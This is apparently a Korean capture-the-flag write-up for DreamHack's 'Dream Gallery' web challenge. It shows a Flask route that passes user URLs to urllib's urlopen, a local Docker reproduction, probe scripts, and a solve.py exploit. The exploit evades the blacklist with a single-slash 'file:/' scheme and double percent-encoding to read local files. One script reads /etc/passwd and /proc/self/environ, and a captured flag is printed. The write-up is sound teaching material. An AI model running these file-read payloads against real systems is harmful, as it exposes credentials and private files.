[🥈 Silver 1] 필터가 보는 문자열과 파일시스템이 받는 문자열은 다르다 — DreamHack Dream Gallery 풀이

# CPython urllib/request.py — build_opener() 안의 기본 핸들러 목록.
# 문제와 같은 3.10 컨테이너에서 inspect.getsource(urllib.request.build_opener) 로 뽑았다.
    default_classes = [ProxyHandler, UnknownHandler, HTTPHandler,
                       HTTPDefaultErrorHandler, HTTPRedirectHandler,
                       FTPHandler, FileHandler, HTTPErrorProcessor,
                       DataHandler]

nl -ba extracted/app.py | sed -n "16,29p"

@app.route('/request')
def url_request():
    url = request.args.get('url', '').lower()          # ← 소문자로 눕힌다
    title = request.args.get('title', '')
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')         # ← 걸리면 폼만 되돌려준다
 
    try:
        data = urlopen(url).read()                     # ← 여기로 들어가면 끝
        mini_database.append({title: base64.b64encode(data).decode('utf-8')})
        return redirect(url_for('view'))
    except:
        return render_template("request.html")

#!/usr/bin/env bash
# Dream Gallery — 로컬 재현 환경 구축. 배포본 Dockerfile 을 그대로 쓰고,
# zip 에 없는 templates/static 만 app.py 의 사용법에 맞춰 최소로 채운 것이다.
# flag.txt 는 당연히 더미(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}).
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
docker build -q -t dream-gallery-local:latest local/
docker rm -f dream-gallery-local >/dev/null 2>&1 || true
docker run -d --name dream-gallery-local -p 8552:80 dream-gallery-local:latest >/dev/null
 
for _ in $(seq 20); do
  code=$(curl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:8552/view || true)
  [ "$code" = "200" ] && break
  sleep 1
done
 
echo "container : $(docker inspect -f '{{.State.Status}}' dream-gallery-local)"
echo "python    : $(docker exec dream-gallery-local python3 -V)"
echo "flag.txt  : $(docker exec dream-gallery-local ls -l /flag.txt)"
echo "GET /view : HTTP $code"

#!/usr/bin/env python3
"""urlopen 이 왜 `file:/` 한 슬래시를 받아주고 왜 %61 을 풀어주는지 런타임으로 확인."""
from urllib.request import Request, url2pathname, urlopen
import urllib.request
import inspect
import os
 
print("=== 1. Request 파싱: host / selector ===")
for full in ("file:///flag.txt", "file:/flag.txt", "file:/fl%61g.txt"):
    r = Request(full)
    print(f"  {full:22} type={r.type:5} host={r.host!r:8} selector={r.selector!r}")
 
print()
print("=== 2. FileHandler.file_open 의 분기 조건 ===")
src = inspect.getsource(urllib.request.FileHandler.file_open)
print("".join("  " + l for l in src.splitlines(keepends=True)))
 
print("=== 3. url2pathname (posix) 구현 ===")
for line in inspect.getsource(url2pathname).splitlines():
    print("  " + line)
print()
print("=== 3-b. url2pathname 적용 결과 ===")
for sel in ("/flag.txt", "/fl%61g.txt", "/fl%2561g.txt"):
    print(f"  {sel:16} -> {url2pathname(sel)!r}")
 
print()
print("=== 4. 그래서 실제로 열리는가 ===")
os.makedirs("/tmp/dg", exist_ok=True)
open("/tmp/dg/flag.txt", "w").write("PROBE_FLAG_CONTENT\n")
for u in ("file:/tmp/dg/flag.txt", "file:/tmp/dg/fl%61g.txt"):
    try:
        print(f"  {u:28} -> {urlopen(u).read()!r}")
    except Exception as e:
        print(f"  {u:28} -> {type(e).__name__}: {e}")

docker cp probe_urllib.py dream-gallery-local:/tmp/ && \
  docker exec dream-gallery-local python3 /tmp/probe_urllib.py

#!/usr/bin/env python3
"""Dream Gallery — /request 필터가 무엇을 막고 무엇을 통과시키는지 로컬 재현으로 전수 확인."""
import urllib.request, urllib.error
 
BASE = "http://127.0.0.1:8552"
 
# (라벨, url 파라미터에 그대로 실어보낼 raw 문자열)
CASES = [
    ("file:// 3슬래시 (정공법)",      "file:///flag.txt"),
    ("file:// + 인코딩",              "file:///fl%2561g.txt"),
    ("file:/ 1슬래시 + 평문 flag",    "file:/flag.txt"),
    ("file:/ 1슬래시 + %61 (1중)",    "file:/fl%61g.txt"),
    ("file:/ 1슬래시 + %2561 (2중)",  "file:/fl%2561g.txt"),
    ("file:/ + 경로우회 ../",         "file:/etc/../fl%2561g.txt"),
]
 
for label, raw in CASES:
    url = f"{BASE}/request?url={raw}&title=probe"
    try:
        r = urllib.request.urlopen(url, timeout=10)
        body = r.read().decode("utf-8", "replace")
        # 성공하면 /view 로 리다이렉트되어 갤러리 HTML(<img src="data:) 이 온다.
        ok = "data:image" in body
        print(f"{'통과 → urlopen 실행' if ok else '차단 → request.html':22} | {label:28} | {raw}")
    except urllib.error.HTTPError as e:
        print(f"{'HTTP '+str(e.code):22} | {label:28} | {raw}")

#!/usr/bin/env bash
# 필터에 걸렸는지 통과했는지는 HTTP 상태줄만 봐도 갈린다.
# 걸리면 render_template → 200, 통과하면 redirect(url_for('view')) → 302.
# 인자로 대상 주소를 준다. 기본은 로컬 재현.
BASE="${1:-http://127.0.0.1:8552}"
 
probe() {
  printf '%-24s ' "$1"
  curl -s -o /dev/null -D - "$BASE/request?url=$2&title=probe" 2>/dev/null \
    | sed -n '1p;/^[Ll]ocation:/p' | tr -d '\r' | paste -sd' '
}
 
probe 'file:///flag.txt'      'file:///flag.txt'
probe 'file:/flag.txt'        'file:/flag.txt'
probe 'file:/fl%61g.txt'      'file:/fl%61g.txt'
probe 'file:/fl%2561g.txt'    'file:/fl%2561g.txt'

#!/usr/bin/env python3
"""/view 에서 지정한 제목의 항목이 물고 있는 base64 를 그대로 꺼낸다.
 
view.html 은 `<img src="data:image/png;base64,…">` 다음 div 에 제목을 찍는다.
그 짝을 정규식으로 잡아 base64 원문과 디코딩 결과를 같이 보여준다.
"""
import base64
import re
import sys
import urllib.request
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
WANT = sys.argv[2] if len(sys.argv) > 2 else "flag.txt"
 
html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
 
pat = re.compile(
    r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
    r'<div class="g-col-6 text-center">([^<]*)</div>',
    re.S,
)
for b64, title in pat.findall(html):
    if title.strip() != WANT:
        continue
    raw = base64.b64decode(b64)
    print(f"[title ] {title.strip()}")
    print(f"[base64] {b64}")
    print(f"[decode] {raw!r}")
    sys.exit(0)
 
print(f"[!] '{WANT}' 항목 없음. 존재하는 제목: "
      + ", ".join(t.strip() for _, t in pat.findall(html)))
sys.exit(1)

#!/usr/bin/env python3
"""Dream Gallery (DreamHack id 552, Silver 1, web) — SSRF/LFI 자동 익스플로잇.
 
/request 의 필터는 세 겹이다.
 
    url = request.args.get('url', '').lower()
    if url == '' or url.startswith("file://") or "flag" in url or title == '':
        return render_template('request.html')
    data = urlopen(url).read()
 
- `url.startswith("file://")`  → 슬래시를 하나만 쓴 `file:/` 로 비껴간다.
  urllib 의 Request._parse 는 `//` 로 시작하지 않으면 host 를 잡지 않고
  전체를 selector 로 넘기므로 FileHandler.open_local_file 이 그대로 로컬 파일을 연다.
- `"flag" in url`            → 경로를 퍼센트인코딩한다. posix 의 url2pathname 은
  사실상 unquote 라서 `fl%61g.txt` 가 파일시스템에 닿을 땐 `flag.txt` 가 된다.
- Flask 가 쿼리스트링을 한 번 디코드하므로 **이중 인코딩**(`%2561`)으로 보내야
  필터가 보는 문자열에 `%61` 이 남는다.
 
읽은 바이트는 base64 로 mini_database 에 들어가 /view 에서 <img src="data:...">
로 렌더된다. 그래서 /view HTML 의 base64 덩어리를 전부 디코드해 flag 를 찾는다.
 
사용법:
    python3 solve.py http://host1.dreamhack.games:12345      # 라이브
    python3 solve.py http://127.0.0.1:8552                   # 로컬 재현
인자를 안 주면 로컬 재현 주소를 쓴다.
"""
import base64
import re
import sys
import urllib.request
 
DEFAULT = "http://127.0.0.1:8552"
TARGET = "/flag.txt"
 
 
def http_get(url: str) -> str:
    # requests 없이 표준 라이브러리만. 퍼센트인코딩을 절대 다시 건드리지 않는다.
    with urllib.request.urlopen(url, timeout=15) as r:
        return r.read().decode("utf-8", "replace")
 
 
def build_payload(path: str) -> str:
    """/flag.txt → file:/fl%2561g.txt  (필터가 보는 값은 file:/fl%61g.txt)"""
    # 'flag' 의 'a' 만 퍼센트인코딩하면 블랙리스트가 못 잡는다.
    # 그 % 를 다시 %25 로 감싸 Flask 의 1차 디코딩을 통과시킨다.
    encoded = path.replace("flag", "fl%2561g")
    return "file:" + encoded          # 슬래시 하나 → startswith("file://") 회피
 
 
def harvest(html: str) -> list[bytes]:
    out = []
    for blob in re.findall(r"[A-Za-z0-9+/]{16,}={0,2}", html):
        try:
            out.append(base64.b64decode(blob, validate=True))
        except Exception:
            pass
    return out
 
 
def main() -> int:
    base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT).rstrip("/")
    title = "flagcarrier"
 
    payload = build_payload(TARGET)
    url = f"{base}/request?url={payload}&title={title}"
    print(f"[*] target      : {base}")
    print(f"[*] filter sees : {payload.replace('%25', '%')}")
    print(f"[*] GET {url}")
    body = http_get(url)
 
    # 필터에 걸리면 request.html 이 그대로 돌아온다(리다이렉트 없음).
    if "<form" in body and "/view" not in body:
        print("[!] 필터에 막혔다 — request.html 이 그대로 반환됨")
        return 1
 
    view = http_get(f"{base}/view")
    for data in harvest(view):
        m = re.search(rb"DH\{[^}\n]*\}", data)
        if m:
            print(f"[+] FLAG: {m.group(0).decode()}")
            return 0
 
    print("[!] /view 에서 flag 를 못 찾음")
    print(view[:800])
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

[*] target      : http://host3.dreamhack.games:22580
[*] filter sees : file:/fl%61g.txt
[*] GET http://host3.dreamhack.games:22580/request?url=file:/fl%2561g.txt&title=flagcarrier
[+] FLAG: DH{b2037a026b40cc98804e91b5a2a07f54}

#!/usr/bin/env bash
# Dream Gallery (DreamHack 552, Silver 1, web) — 한 방 재현.
#
#   ./reproduce.sh                              로컬 도커 재현으로 익스 체인 검증 (더미 flag)
#   ./reproduce.sh http://host3...games:PORT    라이브 서버에서 진짜 flag 회수
#
# ★ 정직성: 인자 없이 돌리면 확인되는 것은 "필터 3중 우회가 실제로 통하고
#   /flag.txt 를 읽어낸다"는 것까지다. 이때 나오는 값은 로컬 컨테이너에 내가 넣은
#   더미(DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG})다. 진짜 flag 는 라이브 서버에만 있으므로
#   오프라인만으로는 얻을 수 없다 — 그래서 라이브 인자를 따로 받는다.
set -eu
cd "$(dirname "$(readlink -f "$0")")"
 
DUMMY='DH{LOCAL_DUMMY_NOT_THE_REAL_FLAG}'
EXPECT=$(python3 -c "import json;print(json.load(open('문제.json'))['flag'])" 2>/dev/null || echo '')
 
if [ $# -ge 1 ]; then
  MODE=live; TARGET="$1"
else
  MODE=local; TARGET="http://127.0.0.1:8552"
  echo "[*] 로컬 재현 컨테이너 기동"
  ./build_local.sh
  EXPECT="$DUMMY"
fi
 
echo
echo "[*] 필터 반응 표 ($MODE)"
./probe_status.sh "$TARGET"
 
echo
echo "[*] 익스플로잇"
OUT=$(timeout 120 python3 solve.py "$TARGET" 2>&1) || true
echo "$OUT"
 
FLAG=$(printf '%s' "$OUT" | grep -aoE 'DH\{[^}]+\}' | head -1)
 
echo
if [ -z "$FLAG" ]; then
  echo "❌ FAIL — flag 를 못 뽑았다"; exit 1
fi
if [ -n "$EXPECT" ] && [ "$FLAG" != "$EXPECT" ]; then
  echo "❌ FAIL — 얻은 값 '$FLAG' / 기대 '$EXPECT'"; exit 1
fi
if [ "$MODE" = local ]; then
  echo "✅ PASS  $FLAG"
  echo "   (로컬 더미다. 진짜 flag 는 ./reproduce.sh <라이브주소> 로.)"
else
  echo "✅ PASS  $FLAG"
fi

#!/usr/bin/env python3
"""필터가 막고 있는 게 사실상 flag.txt 라는 이름뿐임을 확인한다.
 
경로에 'flag' 라는 네 글자가 없으면 퍼센트인코딩조차 필요 없다.
슬래시 하나만 줄이면 그대로 통과해 임의 파일이 읽힌다.
"""
import base64, re, sys, urllib.request
 
BASE = (sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8552").rstrip("/")
 
TARGETS = [
    "/app/app.py",            # 배포된 소스 그대로
    "/etc/passwd",            # 컨테이너 계정 목록
    "/proc/self/environ",     # 프로세스 환경변수
    "/proc/self/cgroup",      # 컨테이너 여부·ID
]
 
 
def fetch(path: str) -> bytes | None:
    title = "probe" + path.replace("/", "_")
    url = f"{BASE}/request?url=file:{path}&title={title}"
    urllib.request.urlopen(url, timeout=15).read()
 
    html = urllib.request.urlopen(f"{BASE}/view", timeout=15).read().decode("utf-8", "replace")
    pat = re.compile(
        r'<img src="data:image/png;base64,([A-Za-z0-9+/=]+)".*?'
        r'<div class="g-col-6 text-center">([^<]*)</div>', re.S)
    for b64, t in pat.findall(html):
        if t.strip() == title:
            return base64.b64decode(b64)
    return None
 
 
for path in TARGETS:
    data = fetch(path)
    if data is None:
        print(f"{path:22} 실패 (필터 차단 또는 읽기 실패)")
        continue
    head = data.split(b"\n")[0][:70].replace(b"\x00", b" ")
    print(f"{path:22} {len(data):6}B  첫줄: {head.decode('utf-8', 'replace')}")

dream-gallery/
├── extracted/            # 배포본 (app.py, Dockerfile)
├── local/
│   ├── Dockerfile        # extracted/Dockerfile 그대로
│   └── deploy/
│       ├── app.py        # extracted/app.py 그대로 — 수정 금지
│       ├── flag.txt      # 더미 한 줄
│       ├── static/       # assetA#03.jpg ~ assetD#03.jpg (아무 바이트여도 됨)
│       └── templates/    # view.html / request.html / upload.html
├── build_local.sh
├── probe_status.sh
├── probe_filter.py
├── probe_encoding_layer.py
├── probe_urllib.py
├── probe_read_any.py
├── extract_b64.py
├── solve.py
└── reproduce.sh

./reproduce.sh http://host3.dreamhack.games:22580